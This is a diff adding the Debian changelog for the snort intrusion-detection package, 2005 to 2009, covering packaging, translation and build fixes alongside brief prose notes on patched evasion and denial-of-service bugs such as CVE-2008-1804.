+    some circunstances it makes Snort fail to start on startup or die after
+    working for only a few minutes. Also, this could be used as a DoS attack
+    against an IDS sensor rendering it useless.(Closes: 503992)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Sat, 21 Feb 2009 12:11:33 +0100
+
+snort (2.7.0-22) unstable; urgency=low
+
+  * Include patch from dato to make the package binNMU-safe
+  * Remove debian/CVS and debian/my/CVS
+  * Fix bug in snort-stat that made it miss alerts generated by preprocessors (they only contain
+    Priority) as well as fix the setting of $alert->{PRIORITY} for alerts
+    generated by rules. Thanks for Gabor Gombas for the patch. (Closes: #500215)
+  * Lintian fixes:
+    - Use Standards Version 3.8.0, no changes needed.
+    - Make snort-rules-default.postrm run with 'set +e' and append '|| true' to
+      rmdir calls so that the script does not abort if the directories are not
+      empty.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Wed, 05 Nov 2008 00:15:40 +0100
+
+snort (2.7.0-21) unstable; urgency=low
+
+  * Reupload to unstable, build with proper libraries. Fix mess introduced
+    by previous upload.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Wed, 29 Oct 2008 00:01:54 +0100
+
+snort (2.7.0-20.3) testing-proposed-updates; urgency=low
+
+  * Reupload to testing to *really* depend on newer libpcre.
+  * Include patch from dato to make the package binNMU-safe
+  * Remove debian/CVS and debian/my/CVS
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Tue, 04 Nov 2008 22:35:26 +0100
+
+snort (2.7.0-20.2) testing-proposed-updates; urgency=high
+
+  * Upload to testing-proposed-updates to fix security bug CVE-2008-1804 (see
+    below). This package cannot go through sid since the sid build uses a
+    newer libpcre version not available in lenny. (Closes: #483160)
+          
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Tue, 28 Oct 2008 21:32:48 +0100
+           
+snort (2.7.0-20) unstable; urgency=high
+
+  [ CVE-2008-1804 ]
+  * Fix error in preprocessors/spp_frag3.c that prevented Snort from properly
+    identifying packet fragments that had dissimilar TTL values, which allowed
+    remote attackers to bypass detection rules by using a different TTL for
+    each fragment. Also update src/generators.h to include the new FRAG3_MIN_TTL
+    defines (Closes: #483160)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Wed, 22 Oct 2008 01:33:34 +0200
+
+snort (2.7.0-19) unstable; urgency=low
+
+  * Make the snort_rules_update example script use bash instead of sh.
+    (Closes: #489662)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Sat, 09 Aug 2008 22:31:47 +0200
+
+snort (2.7.0-18) unstable; urgency=low
+
+  * Romain debconf translation provided by Eddy Petrior (Closes: 486137)
+  * Swedish debconf translation provided by Martin Bagge (Closes: 491785)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Mon, 28 Jul 2008 22:39:37 +0200
+
+snort (2.7.0-17) unstable; urgency=low
+
+  * Include the README-database-upgrade.Debian in the documentation of the
+    database packages, I forgot to do this in -15
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Fri, 02 May 2008 11:52:12 +0200
+
+snort (2.7.0-16) unstable; urgency=low
+
+  * Lintian fixes:
+    - NEWS file now says unstable instead of experimental
+    - copyright file is now UTF-8
+    - wrap around files in the changelog
+    - remove empty /usr/src directory from snort-common-libraries
+    - fix spelling error in NEWS file
+    - fix manpage error in snort.8
+    - change doc-base sections to Network/Monitoring
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Fri, 02 May 2008 10:28:21 +0200
+
+snort (2.7.0-15) unstable; urgency=low
+
+  * Update to Standards-Version 3.7.3:
+    - Have the logrotate script call invoke-rc.d if available to do the 
+    'right thing' if the admin has configured Snort to not run by default.
+  * Copyright review:
+     - Add copyright statements to the debian/copyright
+     - Note that the Snort source code is distributed as GPL 2 only (not
+     version 3)
+     - Create a copyright_review.sh shell script to review the contents of
+     the sources and find new copyright statements
+     - Point in debian/copyright to the GPL-2 file, not to GPL (which is v3)
+  * Expand brace-expanded content in debian/rules to prevent bashism 
+    (Closes: #478627)
+  * Modify the provided snort_rules_update to use oinkcodes, note
+    in the script that the use of 'oinkmaster' should be preferred
+    (Closes: 314483)
+  * Remove Homepage: from binaries package when redundant with the
+    source package.
+  * Handle in the init.d script the case of interfaces being available
+    but not up, thanks to Drew Parsons for an exhaustive analysis and
+    patch (Closes: #471462)
+  * Remove header files from the snort-common-libraries package. If users
+    request it back I will create a snort-common-libraries-dev package
+    providing these headers (Closes: 440842)
+  * Database upgrade:
+      - Added README-database-upgrade.Debian to describe the steps that
+      need to be done to upgrade the Database, also update upstream's
+      (cursory) documentation to describe the v107 changes (Closes: 445334)
+      - [src/output-plugins/spo_database.c] Modify the text messages to 
+      point users to the proper location of documentation in Debian
+      systems as well as to the (Debian-specific) documentation 
+      related to databases.
+      - Tell users (through NEWS.Debian) that the schema changed from
+      2.6 to 2.7 and they will need to upgrade their database.
+  * Include the RELEASE NOTES for older releases and provide all of them
+    (for the 2.3, 2.4, and 2.6 releases) as users might find them useful
+    for upgrade purposes (Changelog might be too detailed)
+  * Debconf templates and debian/control reviewed by the debian-l10n-
+    english team as part of the Smith review project. Thanks to
+    Christian Perrier for his hard work getting this done (Closes: #469803)
+  * [Debconf translation updates]
+    - Italian translation, updated by Gianluca Cotr (Closes: #477056)
+    - Galician translation, updated by Jacobo Tarrio (Closes: #474622)
+    - Portuguese translation, updated by Traduz (Closes: #475086)
+    - German translation, updated by Erik Schanze (Closes: #477082)
+    - Vietnamese translation, updated by Clytie Siddall 
+      (Closes: #477324, #478223)
+    - French translation, updated by Christian Perrier  
+      (Closes: #478229, #478230)
+    - Czech translation, updated by Jan Outrata (Closes: #478246)
+    - Russian translation, updated by Yuri Kozlov (Closes: 478303)
+    - Dutch translation, updated by Peter Vandenabeele
+    - Spanish translation, updated by myself
+  * [New Debconf translations]
+    - Basque translation, provided by Piarres Beobide (Closes: #475457)
+    - Finnish translation, provided by Esko Esko Arajärvi 
+      (Closes: #475648, #478211)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Sun, 27 Apr 2008 21:58:37 +0200
+
+snort (2.7.0-14) unstable; urgency=high
+
+  * Move installation of the snort.default file from the install-indep rule to
+    the install rule. This error was preventing /etc/snort/default from being
+    created in the Snort binary packages and, consequently, the init.d would
+    fail to start properly and the package would not install (Closes: #471895,
+    #473282)
+  * Add libgnutls-dev Build-Depend (Closes: #476651)
+  * Fix typo in the name of the community rules in snort.conf, thanks to
+    David Gil for providing a patch (Closes: #470881)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Sun, 20 Apr 2008 21:39:47 +0200
+
+snort (2.7.0-13) unstable; urgency=low
+
+  * Make the build: target be an empty one, instead of having it depend on
+    both build-arch and build-indep
+  * Remove texlive-latex-recommended from Build-Depends-Indep as suggested by
+    James Vega
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Sun, 16 Mar 2008 00:16:47 +0100
+
+snort (2.7.0-12) unstable; urgency=low
+
+  * Add texlive-latex-recommended to Build-Depends-Indep since refcount.sty
+    and kvoptions.sty are used 
+  * Have the binary-{arch,indep} depend on install-{arch,indep} instead
+    of in the install target.
+      - Move install calls related to snort-common to the install-indep target
+  * Add some sty files to the build-indep checks in debian/rules so that the
+    documentation is not compiled unless all are available. Yes, buildds are
+    stupid enough to pre-install latex, make the previous checks insufficient
+    and *still* call the build (not build-arch) target! (Closes: #445113)
+  * Unindent comments in debian/rules so that they do not show up.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Sat, 15 Mar 2008 20:13:34 +0100
+
+snort (2.7.0-11) unstable; urgency=low
+
+  * Make the init.d script not depend on the availability of iproute.
+    (Closes: #463020, #466674) 
+  * Added a Recommends on iproute, as it can be used to improve the
+    behaviour of the initd script.
+  * Modify the init.d script to remove also the lockfiles for PIDFILEs
+  * Move snort-doc to Suggests in the snort package and add it to snort-pgsl
+    and snort-mysql too.
+  * Fix FTBFS on GNU/kFreeBSD (due to unsatisfied Build-Depends on
+    iptables-dev), thanks to Petr Salinger for the fix (Closes: #466073)
+  * Modify src/snort.c to prevent it from showing a message when it tries to
+    remove the PIDFILE. This fails in Debian since Snort is not running 
+    as the root user and the daemon cannot modify /var/run. The code is 
+    changed so that the error message related to not being able to remove the
+    PIDFILE is only presented if running as root or writing the PIDFILE to a
+    directory that is not /var/run. (Closes: #462423)
+  * Po-debconf translation updates:
+      - Fix error in Italian translation (Closes: #462865)
+      - Japanese translation update, provided by Hideki Yamane (Closes: #463650)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Sun, 24 Feb 2008 22:21:09 +0100
+
+snort (2.7.0-10) unstable; urgency=low
+
+  * Add a new ALLOW_UNAVAILABLE definition in /etc/default/snort which
+    makes the init.d not complain if a configured interface is not available.
+    Also make the init.d script not break if no instances are configured
+    through debconf (to make it possible to use snort using just if-up.d
+    by providing a given interface instance as a 'start' parameter)
+    (Closes: #458823)
+  * Fix typo in templates, unfuzzy translations I can "understand" and
+    which seem to have fixed the typo themselves.
+  * Po-debconf updates:
+    - Update German translation provided by Erik Schanze (Closes: #462674)
+    - Updated Italian translation provided by Gianluca Cotr (Closes: #462865)
+    - Romanian translation provided by Eddy Petrisor (Closes: #460344)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Sun, 27 Jan 2008 11:12:05 +0100
+
+snort (2.7.0-9) unstable; urgency=low
+
+  * Modify debian/rules to prevent autobuilders from building 
+    the binary-independent components: (Closes: #445113)
+    (Thanks dato for the tip)
+     * Create a new Build-Depends-Indep with all the TeX components used
+       to build documentation
+     * Since autobuilders call build, which in turns calls build-indep, hack
+       the debian rules file so that the documentation is only built
+       if ps2pdf, dvips and pslatex are available. 
+  * Enable prelude support in all variants (Closes: #458790)
+  * Debconf translation updates:
+     - Dutch, provided by Peter Vandenabeele
+     - Vietnamese, provided by Clytie Siddall (Closes: #458161)
+     - Portuguese, provided by Miguel Figueiredo (Closes: #458214)
+     - Galician, provided by Jacobo Tarrio (Closes: #458533)
+     - French, provided by Christian Perrier (Closes: #458621)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Mon, 31 Dec 2007 00:31:13 +0100
+
+snort (2.7.0-8) unstable; urgency=low
+
+  * Rewrite debian/rules:
+      - the documentation does not get build on the binary-arch target,
+      (Closes: #445113) 
+      - there is now a install-dep and install-arch
+      - install-* dependencies do not depend on build
+      - create a 'clean-sources' target, used only by the 'clean' target
+      - create a clean_sources.sh script to clean the sources properly before
+        each run
+      - call 'clean_sources.sh' before a binary (pgsql, mysql...) is built to
+        prevent the binary-* rule from calling 'distclean' at the end of each
+        run (and thus making issues more difficult to debug)
+      - generate a configure target and use it when building both -arch
+        and -indep (needed to generate doc/Makefile)
+      - copy, instead of moving, the binaries, so the 'install' target 
+        is more idempotent (still have to use dh_install more to make it so)
+  * Change Maintainer's email address
+  * Create a mechanism to generate all the templates using a "template of
+    templates" since all the questions where the same with small differences
+    per package.
+      - Also fixed snort-inline templates, which were not correct (pointed
+        to the wrong configuration file)
+      - Update Spanish translation myself
+  * Change the init.d script so it behaves like LSB demands:
+      - Do not exit with error if there are no running instances and we
+        try to stop
+      - With 'status', exit with a 1/3 error based on the existence (or not
+        of the pidfiles)
+      - Dot not exit with error when trying to start an instance that is
+        already started (use running() for that)
+      - Check if the user is root before attempting to star/stop/restart
+      - Adjust to LSB exit values (instead of just using always '1', use
+        3-6 to indicate several different errors)
+  * Lintian cleanup:
+      - Move Homepage: from the description to a pseudo-header in
+      debian/control
+      - do not ignore distclean errors
+      - remove call to dh_suidregister, we did not use it
+      - add DEBHELPER token to snort-common.postinst
+      - update config.guess and config.sub with automake's 1.7 versions
+        (this is not done automatically in the package, however)
+      - replace ${Source-Version} substvar with ${binary:version}
+      - Move the configuration check of snort-common over to the config
+        script and leave the postinst only to check the status of the
+        init.d script. Also, modify the snort-common.postinst so it only
+        does the configuration check if invoke-rc.d (if installed)
+      - Fix 'malformed-title-in-templates' in all templates by removing
+        the ending dot
+      - Fix the 'malformed-prompt-in-templates' by adjusting the contents
+        of all the titles affected
+      - Shorten the length of the 'interface' template
+      - Fix syntax on debian/NEWS
+      - Remove empty dirs
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Thu, 27 Dec 2007 09:14:00 +0100
+
+snort (2.7.0-7) unstable; urgency=low
+
+  * Remove empty comment line in lsb headers
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Mon, 01 Oct 2007 03:01:26 +0200
+
+snort (2.7.0-6) unstable; urgency=low
+
+  * Create a separate snort-libraries package and move all the libraries that
+    were previously (wrongly) included in the snort-common package there
+    (Closes: #439642)
+  * Add proper LSB headers, license and copyright to the init.d file
+  * Also add proper messages to the init script and proper checks to generate
+    the correct errors when non-root users try to run the script. Exit status
+    of the script should now reflect better the problems found.
+  * Removed dependencies on essential packages (coreutils)
+  * Recode Debian changelog to UTF-8
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Mon, 01 Oct 2007 01:24:32 +0200
+
+snort (2.7.0-5) unstable; urgency=low
+
+  * Initialise variables in preinst to prevent collisions with predefined
+    environment variables (Closes: #443481)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Fri, 21 Sep 2007 22:49:25 +0200
+
+snort (2.7.0-4) unstable; urgency=low
+
+  * Fix phrase in the NEWS file
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Wed, 29 Aug 2007 18:26:45 +0200
+
+snort (2.7.0-3) unstable; urgency=low
+
+  * Move over the package to unstable.
+  * Fix FBTFS at Ubuntu due to snort_manual.tex still using latex2html's
+    html.sty. Thanks Michael Bienia for spotting this and point at the
+    issue with a patch (Closes: 436244)
+  * Fixed a typo in the French translation (Closes: 432840)
+  * Fix documentation errors in debian/README-database.debian. (Closes: 416400)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Mon, 06 Aug 2007 23:28:02 +0200
+
+snort (2.7.0-2) experimental; urgency=low
+
+  * Fix generation of the common snort binary, which was distributed without
+    prelude support.
+  * Fix location of dynamic engines in snort.conf
+  * Change signatures 1443 and 1444 since there was an error in their
+    definition ( Cannot use 'rawbytes' and 'http_uri' as modifiers for the
+    same "content" nor use 'rawbytes' with "uricontent". )
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Wed, 01 Aug 2007 02:49:50 +0200
+
+snort (2.7.0-1) experimental; urgency=low
+
+  * New upstream release (Closes: #435417, #404991, #320920, #323985)
+     - Fixes DOS attack: CVE-2006-6931 - "Backtracking Algorithmic Complexity"
+       DoS against IDS engine (Closes: #407421)
+  * Introduce all the rules available from the 2.4 release which are GPL and
+    are non-VRT certified, that is, all rules which are outside of the range
+    [3,465-1,000,000]. This amounts to a total of 3935 rules (820 of which are
+    Community released).
+  * In order to handle rulesets with mixed GPL and non-GPL rules two scripts
+    have been made available in the source rules/ subdirectory:
+        - remove-non-gpl.pl - Given a rules file removes all rules outside
+          the above range
+        - purge-non-gpl.sh - Given a directory dumps on the local directory
+          only rules outside this range.
+    In order to limit maintainer overhead the header for modified rulesets has
+    not been changed.
+  * Include the VRT license file. This file is kept for reference under the
+    rules/ dir, although *no* rule in this package is under that non-free license.
+  * Include a NEWS.Debian item describing the license change and the rules
+    distributed within this package.
+    not in the database packages (Closes: #320920)
+  * As a consequence of the above Build-Depend on libprelude-dev, iptables-dev
+  * Provide support for Prelude in both snort and snort-inline packages but
+  * The examples are now included in the -common package instead of having
+    them  in all the binary packages
+
+  This package provides support to make an experimental separate binary
+  package for inline support: snort-inline, which most of the configuration is
+  shared with the snort binary package but the PPP related options have been
+  removed. However, snort-inline does not support libnet 1.1 so we cannot
+  provide it yet. This has been changed in Snort's code but it's far from
+  complete:
+       - Make the configure script work with libnet 1.1. 
+       - Port parts of the API (some declarations) to 1.1
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Tue, 31 Jul 2007 23:35:06 +0200
+
+snort (2.3.3-15) unstable; urgency=low
+
+  * Include all the community signatures available as of today into the
+    snort-signatures package. This means 820 new signatures go in.
+  * Sync mappings:
+    * Updated the gen-msg.map under rules/ with the maps under etc/ 
+    * Updated the sid-msg.map under etc/ with the maps under rules/ 
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Tue, 31 Jul 2007 21:57:46 +0200
+
+snort (2.3.3-14) unstable; urgency=low
+
+  * Use the patch provided by Matt Kraai to fix the FTBFS due to the
+    tetex -> Texlive transition. Also make the package Build-Depend 
+    on texlive and texlive-latex-base instead of tetex-bin and tetex-extra
+    (Closes: 419454)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Sun, 22 Apr 2007 16:41:50 +0200
+
+snort (2.3.3-13) unstable; urgency=low
+
+  * Translations added:
+    - Tamil translation, provided by Tirumurti Vasudevan (Closes: #413830)
+    - Russian translation, provided by Yuriy Talakan' (Closes: #411822)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Tue, 13 Mar 2007 16:30:52 +0100
+
+snort (2.3.3-12) unstable; urgency=low
+
+  * Translations updated:
+    - Czech (Closes: #408619)
+    - Swedish
+  * New translations
+    - Galician, provided by Jacobo Tarrio (Closes: #409651)
+    - Italian, provided by Gianluca Cotrino. Slightly edited to fix header. (Closes: #411270)
+    - Romanian, provided by Eddy Petrisor (Closes: #409505)
+    - Portuguese, provided by Miguel Figueiredo
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Sun, 18 Feb 2007 12:25:45 +0100
+
+snort (2.3.3-11) unstable; urgency=low
+
+  * Restore German translation (somehow removed in previous upload), courtesy
+    of Erik Schanze (Closes: #397017)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Tue,  2 Jan 2007 17:26:10 +0100
+
+snort (2.3.3-10) unstable; urgency=low
+
+  * Fix snort-mysql template to prevent translators from duplicating work
+    (two templates were nearly identical except for a double space)
+  [ Translations update ]
+  * Updated Spanish translation
+  * Updated Japanese translation, courtesy of Hideki Yamane (Closes: #391894)
+  * Updated German translation, courtesy of Erik Schanze (Closes: #397017)
+  * Updated Dutch translation, courtesy of Peter Vandenabeele.
+  * Updated Vietnamese translation, courtesy of Clytie Siddall
+  * Fix error in Catalan translation (which made msgstat fail)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Thu, 21 Dec 2006 19:52:38 +0100
+
+snort (2.3.3-9) unstable; urgency=low
+
+  * Do not try to remove /etc/snort in postrm if it does not exist anymore
+    when purging (Closes: #389766)
+  * Simplify coreutils dependencies (Closes: #381836)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Sun,  1 Oct 2006 23:29:20 +0200
+
+snort (2.3.3-8) unstable; urgency=medium
+
+  * Fix security issue CVE-2006-2769, potential evasion in URI content
+    buffers. This evasion only applies to Apache protected servers since
+    that server supports some characters. The patch used is from 2.4.5
+    and is *not* the one provided by Demarc (which is not fully
+    comprehensive and is much more intrusive).
+    Since this is an evasion issue and not a real security issue 
+    thus the 'medium' urgency even though it fixes security bug (Closes:
+    #381726)
+
+    From upstream (snort.org webpage, News item "Possible Evasion in
+    http_inspect"): 
+
+     «The Apache web server supports special characters in HTTP requests that
+     do not affect the processing of the particular request. The current
+     target-based profiles for Apache in the http_inspect preprocessor do not
+     properly handle these requests, resulting in the possibility that an
+     attacker can bypass detection of rules that use the "uricontent" keyword
+     by embedding special characters in a HTTP request.»
+
+     «It is important to note that this is an evasion and not a vulnerability.
+     This means that while it is possible for an attacker to bypass detection,
+     Snort sensors and the networks they protect are not at a heightened risk
+     of other attacks.»
+
+  * Backport fix of another (different) potential evasion in Stream4 (also in
+    the Snort 2.4.5 release, no CVE name)
+  * Relocate Czech translation, it was not under debian/po
+  * Add a warning in /etc/default/snort that the SNORT_USER will be 
+    modified (with usermod) every time you reinstall the package
+    (don't change it to 'root'!)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Thu, 10 Aug 2006 00:44:36 +0200
+
+snort (2.3.3-7) unstable; urgency=low
+
+  * *Really* recompile to use latest libmysqlclient libraries (Closes:
+    #366748)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Sat,  3 Jun 2006 15:20:57 +0200
+
+snort (2.3.3-6) unstable; urgency=medium
+
+  * Recompile to use latest libmysqlclient libraries (Closes: #366748)
+  * Remove the following unused dependencies as suggested by  Stefan Huehner:
+    libsnmp4.2-dev and libssl-dev (and their --with calls in debian/rules) . I'm
+    still keeping the coreutils | fileutils dependency since I still want to
+    compile this package in woody.(Closes: #365874)
+  * Also remove DH_COMPAT from debian/rules as suggested by  Stefan Huehner in
+    #365874
+  * Move 'debian/my/lisapaper.txt' to snort-doc.docs and remove from snort,
+    snort-pgsql and snort-mysql doc files (Closes: #340091)
+  * Have faq.tex use hyperref.sty instead of latex2html's html.sty and comment
+    the \latexonly definitions. This makes latex2html unnecessary to
+    build the package (Closes: #365872)
+  * doc-base files now point to the compressed PDF documents (lintian fix)
+  * Updated debconf translations:
+    - French translation provided by Christian Perrier (Closes: #359285)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Mon, 29 May 2006 20:05:29 +0200
+
+snort (2.3.3-5) unstable; urgency=low
+
+  * Updated Build-Dependencies to use libmysqlclient15-dev instead of the 
+    old libmysqlclient10 library (Closes: #356706)
+  * Add a 'DEBIAN_SNORT_SEND_STATS' option (controlled by debconf) to allow
+    users to define if snort should send daily stats. Users that want to
+    change the frequency should manually move over the cron.daily script
+    to other cron.XXX locations (Closes: #353035)
+  * Updated debconf translations:
+    - Dutch translation with patch provided by Peter Vandenabeele
+    - Spanish Debconf translation ('send_stats' template)
+  * Do not indent '@' in the e-mail of users that receive the stats (Closes: #335803)
+  * Preliminary code (only in snort.config) to detect if the default interface
+    is up when configuring Snort, the Debconf question priority is raised if
+    the interface is not up or it does not exist and the user is pestered
+    if he still provides an invalid answer (unless he doesn't see the
+    question, which is the case if running with debconf priority set to
+    'high', in this case, we bail out)
+    Note: will introduce this in the DB packages after it gets some testing
+    out there.
+  * Change the Debconf priority of the note that warns that  the configuration
+    is not working to 'critical' (was 'high')
+  * Acknowledge NMU made by Margarita:
+    * Drop automake1.6 dependency in Build-Depends (Closes: #335143)
+    * Updated config.guess and config.sub with the latest versions available
+      to prevent FTBFS on GNU/k*BSD (Closes: #342446)
+    * Updated german debconf translation with patch provided by Erik Schanze 
+      (Closes: #345855)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Wed, 22 Mar 2006 02:09:01 +0100
+
+snort (2.3.3-4) unstable; urgency=low
+
+  * Build-Depend on newer automake version: 1.7 (Closes: #335143)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Tue, 17 Jan 2006 02:10:41 +0100
+
+snort (2.3.3-3) unstable; urgency=low
+
+  * Properly remove the snort user on purge.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Thu, 20 Oct 2005 01:13:47 +0200
+
+snort (2.3.3-2.1) unstable; urgency=low
+
+  * NMU to drop automake1.6 dependency (Closes: #335143)
+  * Updated config.guess and config.sub (Closes: #342446)
+  * Updated german debconf translation (Closes: #345855)
+
+ -- Margarita Manterola <marga@debian.org>  Sun, 22 Jan 2006 21:54:43 -0300
+
+snort (2.3.3-2) unstable; urgency=high
+
+  * Backport the following changes introduced in 2.4.1. Upstream changelog:
+      * src/log.c:
+        Fix problem in sniffer mode when incomplete TCP option data is received.
+        Thanks A Hernandez for the find.
+    (Closes: #328134)
+    Note: This is a "security" bug but no CVE is assigned, it is actually
+    something that can happen only if a Snort user willingly shoots himself
+    on the foot (uses ASCII logging mode) or if he uses the fast output
+    mode with some non-default options.
+    For a detailed view see:
+    Martin Roesch's mail "Snort DoS Fallacies" to snort-users and bugtraq:
+    http://marc.theaimsgroup.com/?l=bugtraq&m=112665341207363&w=2
+    http://marc.theaimsgroup.com/?l=snort-users&m=112657845119746&w=2
+    http://marc.theaimsgroup.com/?l=snort-users&m=112667020331513&w=2
+    http://marc.theaimsgroup.com/?l=snort-devel&m=112672013010948&w=2
+    and also
+    http://www.snort.org/pub-bin/snortnews.cgi#58
+    To summarise: The only recommended alert methods in a production sensor
+    are unified, syslog or database. And unified is The Right Way to run
+    a sensor (others have important performance issues under high load )
+    NOTE to Debian Security teams: I don't believe this bug merits a DSA 
+    (or a DTSA for that matter)
+    (Closes: #328134)
+  * Backport the following changes introduced in 2.4.2. Upstream changelog:
+      * src/output-plugins/spo_log_database.c:
+      * schemas/create_mysql:
+        Fixes to address schema being a keyword in MySQL 5.0.  Thanks Wes Young,
+        Adolfo Gomez, and Aleem Mawji for the updates.
+    (Closes: #327791)
+  * Added Swedish translation provided by Daniel Nylander (Closes: #330834)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Fri, 30 Sep 2005 21:21:43 +0200
+
+snort (2.3.3-1) unstable; urgency=low
+
+  * New upstream release.
+  * Use upstream's FAQ in PDF format instead of debian/my/FAQ.txt, also
+    have the FAQ available only in the snort-doc package (after fixing 
+    the Makefile so that the faq.tex file does not get removed on distclean)
+  * Fix typo in snort.8 manpage (Closes: #326538)
+  * Fixed address of the FSF in debian/copyright
+  * Updated debconf translations:
+    - Vietnamese provided by Clytie Siddall
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Wed, 31 Aug 2005 19:47:16 +0200
+
+snort (2.3.2-8) unstable; urgency=low
+
+  * _Really_ use debhelper compat version 4 now
+  * Remove debian/*conffiles since debhelper now marks them as config files
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Sat, 27 Aug 2005 01:50:40 +0200
+
+snort (2.3.2-7) unstable; urgency=low
+
+  * Fix lintian warnings
+  * Fix error in database config scripts (when not upgrading, the
+    wait_for_db_config key does not exist) (Closes: #325223)
+  * Updated debconf translations:
+     - French provided by Christian Perrier
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Thu, 25 Aug 2005 21:52:19 +0200
+
+snort (2.3.2-6) unstable; urgency=low
+
+  * Add Dependency on "debconf | debconf-2.0" as requested by Joey Hess
+  * Use Debhelper compatibility version 4
+  * New mechanism for database packages:
+    - Introduce a mechanism to create /etc/snort/db-pending-config on
+      initial installation of the database packages.
+    - Have the init.d script abort the start attempt if the 
+      /etc/snort/db-pending-config file exists.
+    - Describe how to setup the database support in README-database.Debian
+      and install this document in the database packages.
+      (Closes: #205683, #219696, #265735, #265878, #290104, #291616)
+  * po-debconf changes:
+    (still waiting a little bit before switching to dbconfig-common)
+    - Sinchronise all the debconf templates of the different snort 
+      variants.
+    - Change the wait_for_db_config message, now called 'needs_db_config'
+      and provides slightly different information.
+    - Fixed typos in German debconf translation courtesy of Jens Seidel
+      (Closes: #313906)
+    - Added Japanese translation contributed by Hideki Yamane
+      (Closes: #310096)
+    - Added Vietnamese translation contributed by Clytie Siddall 
+      (Closes: #318695)
+    - Added Czech translation contributed by Jan Outrata (Closes: #321738)
+    - Updated the Spanish translation.
+    - Improve the debconf dialog with suggestions from Justin B Rye
+      (Closes: #306269)
+    - Fix the templates so that all the files use the same strings, that
+      should reduce the workload of translating almost identical lines.
+      (but also fuzzies more of the translations above)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Thu, 25 Aug 2005 14:59:29 +0200
+
+snort (2.3.2-5) unstable; urgency=medium
+
+  * Medium priority since it seems some buildds are not auto building
+    snort ok and this changes fix it.
+  * Use PostgreSQL 8.0 now as requested by Martin Pitt. Basicly just
+    changed the build-depends and use 'pg_config --includedir' when
+    setting the location of the PostgreSQL location. 
+  * Changes to configure.in: (Closes: #313499)
+    * Fixed configure.in so that it uses the --with dir directly first
+      (intead of looking for $i/include and stuff like that). 
+    * Fixed configure.in so that it outputs the PostgreSQL directories 
+      it tested by fixing a typo.
+    * Have all ERROR messages abort with an exit 1 so that the Makefile breaks
+      and we will notice the error if doing an automatic build.
+
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Tue, 14 Jun 2005 19:33:49 +0200
+
+snort (2.3.2-4) unstable; urgency=low
+
+  * Snort, snort-pgsql and snort-mysql now depend on either coreutils
+    or earlier packages which provided 'stat'. This should prevent
+    partial-upgrades of woody systems which prevent snort's init scripts
+    from running (Closes: #311616)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Fri,  3 Jun 2005 16:24:50 +0200
+
+snort (2.3.2-3) unstable; urgency=high
+
+  * Pre-Depend on adduser since we use it on preinst
+  * Changed debian/TODO
+  * Snort-common now Replaces old snort versions (1.8.4beta1-1) since
+    the configuration files where moved there from snort. 
+    Save for the ppp configuration file which was moved from snort-common to
+    snort. Snort now Replaces snort-common versions previous to 2.0.2-3, 
+    that introduced the change, cannot conflict since we will end up with
+    circular dependencies. (Closes: #311257)
+  * Check MD5sums before rule files are moved from the old location to the
+    new one in snort-rules-default's preinst when upgrading.
+    If the files have not been changed from the ones provided
+    by the woody version then remove them (Closes: #311263)
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Wed,  1 Jun 2005 09:47:04 +0200
+
+snort (2.3.2-2) unstable; urgency=low
+
+  * Have snort-common Conflict on versions prior to the Source-Version to
+    prevent users upgrading snort-common without upgrading snort.
+    (Closes: #300785
+  * Fixed homepage location of Snort (Closes: #300727)
+  * Fixed snort-stat so it can be used when the -y option is used with Snort,
+    thanks to the patch provided by Chirik (Closes: #200276)
+  * Updated German translation courtesy of Erik Schanze 
+
